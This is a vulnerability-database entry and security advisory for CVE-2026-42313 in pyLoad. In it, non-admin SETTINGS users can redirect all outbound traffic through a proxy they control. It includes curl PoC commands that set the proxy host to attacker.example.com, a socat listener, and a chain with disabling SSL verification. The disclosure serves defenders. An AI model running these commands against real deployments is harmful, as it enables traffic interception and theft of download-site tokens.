CVE-2026-42313
highpriority · track · 0OT risk · elevatedEPSS 0.004 · 34 %ileEUUSEPSS · scored 2026-10-27
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
- pyload-ng project pyload-ng< 0.5.0b3.dev100nvdUScpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:*:*:*
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-pg67-9wjv-mr85pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)2026-05-04ghsa · osvUS
### Summary The `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `("proxy", "username")` and `("proxy", "password")` — which protect the proxy credentials — but it does **not** include `("proxy", "enabled")`, `("proxy", "host")`, `("proxy", "port")`, or `("proxy", "type")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four `proxy.*` fields are jointly required to weaponize the miss and are patched together. ### Details **Writer** — `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215–290). The allowlist: ```python ADMIN_ONLY_CORE_OPTIONS = { ("general", "storage_folder"), ("log", "syslog_host"), ("log", "syslog_port"), ("proxy", "password"), ("proxy", "username"), # <-- credentials gated ("reconnect", "script"), ("webui", "host"), ("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"), ("webui", "use_ssl"), } ``` `("proxy", "enabled")`, `("proxy", "host")`, `("proxy", "port")`, `("proxy", "type")` are absent. **Reader** — `src/pyload/core/network/request_factory.py:82-100`: ```python def get_proxies(self): if not self.pyload.config.get("proxy", "enabled"): return {} proxy_type = self.pyload.config.get("proxy", "type") proxy_host = self.pyload.config.get("proxy", "host") proxy_port = self.pyload.config.get("proxy", "port") proxy_username = self.pyload.config.get("proxy", "username") or None proxy_password = self.pyload.config.get("proxy", "password") or None return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...} ``` **Sink** — `src/pyload/core/network/http/http_request.py` (around lines 211–230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required. ### PoC Authenticated as any user with `Perms.SETTINGS` (non-admin role): ```bash # 1) Log in as the SETTINGS (non-admin) user. curl -c cookies.txt -X POST http://pyload.example:8000/api/login \ -d 'username=settings_user&password=<password>' # 2) Redirect all outbound traffic through attacker.example.com:8080. for kv in \ 'category=proxy&option=enabled&value=True' \ 'category=proxy&option=host&value=attacker.example.com' \ 'category=proxy&option=port&value=8080' \ 'category=proxy&option=type&value=http' ; do curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \ -d "$kv§ion=core" done # 3) Enqueue any download (or wait for any periodic update / captcha # fetch). The attacker's server receives the full request — URL, # query string (often carrying auth tokens on download sites), # headers, cookies — and can inject an arbitrary response body. ``` Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener. ### Impact - **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - **What**: 1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker. 2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send. 3. **Arbitrary response injection** — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker. 4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user. - **Why gating the credentials alone is insufficient**: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.
- PYSEC-2026-1272026-05-11vendor · osvUS
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan